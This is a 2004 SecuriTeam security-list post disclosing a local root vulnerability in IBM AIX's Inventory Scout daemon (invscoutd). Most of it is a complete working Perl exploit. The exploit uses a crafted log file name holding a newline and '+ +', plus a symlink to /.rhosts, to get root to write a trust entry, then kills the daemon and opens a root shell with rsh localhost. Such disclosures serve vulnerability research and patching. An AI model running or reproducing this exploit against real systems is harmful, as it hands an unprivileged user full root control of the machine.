[EXPL] IBM AIX Inventory Scout Log File Vulnerability (invscoutd)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/13/04

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Date: 13 Jul 2004 16:35:54 +0200

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      IBM AIX Inventory Scout Log File Vulnerability (invscoutd)
    ------------------------------------------------------------------------

    SUMMARY

    Inventory Scout daemon is "a daemon that surveys the host system for
    currently installed microcode or Vital Product Data (VPD)". A
    vulnerability in Inventory Scout due to insecure use of the logfile
    command line option by invscoutd allows a local attacker to carefully
    constructed logfile name in conjunction with a symbolic link attack to
    create or append to arbitrary files with root privileges.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * AIX 4.3.3
     * AIX 5.1
     * Inventory Scout Daemon version 2.0.2
     * Inventory Scout version 1.3.0.0

    Exploit:
    #!/usr/bin/perl
    # FileName: x_invscoutd.pl
    # Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
    # Tested : on Aix4.3.3 & Aix5.1.
    # Some high version of invscoutd is not affected.
    # Author : watercloud@nsfocus.com
    # watercloud@xfocus.org
    # Date : 2003-5-29
    # Announce: use as your owner risk!

    $LOG="/tmp/.ex/.hello\n+ +\nworld";
    $CMD="/usr/sbin/invscoutd";
    umask 022;
    mkdir "/tmp/.ex",0777;

    print "Exploit error on kill process invscoutd !!" ,exit 1
      if &killproc() == 0;

    symlink "/.rhosts",$LOG;
    system $CMD,"-p7321",$LOG; &killproc();
    unlink $LOG;
    print "\n============\nRemember to remove /.rhosts !!\n";
    print "rsh localhost -l root '/bin/sh -i'\n";
    print "waiting . . . . . .\n";
    system "rsh","localhost","-l","root","/bin/sh -i";

    system $CMD,"-p808","/dev/null" ; &killproc();
    rmdir "/tmp/.ex";

    sub killproc() {
      $_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
      @proc_lst=split;
      $ret=kill 9,$proc_lst[1] if $proc_lst[1];
      $ret=-1 if ! defined $ret;
      return $ret;
    }
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@nsfocus.com>
    watercloud.
    The original article can be found at:
    <http://xfocus.net/articles/200406/710.html>
    http://xfocus.net/articles/200406/710.html

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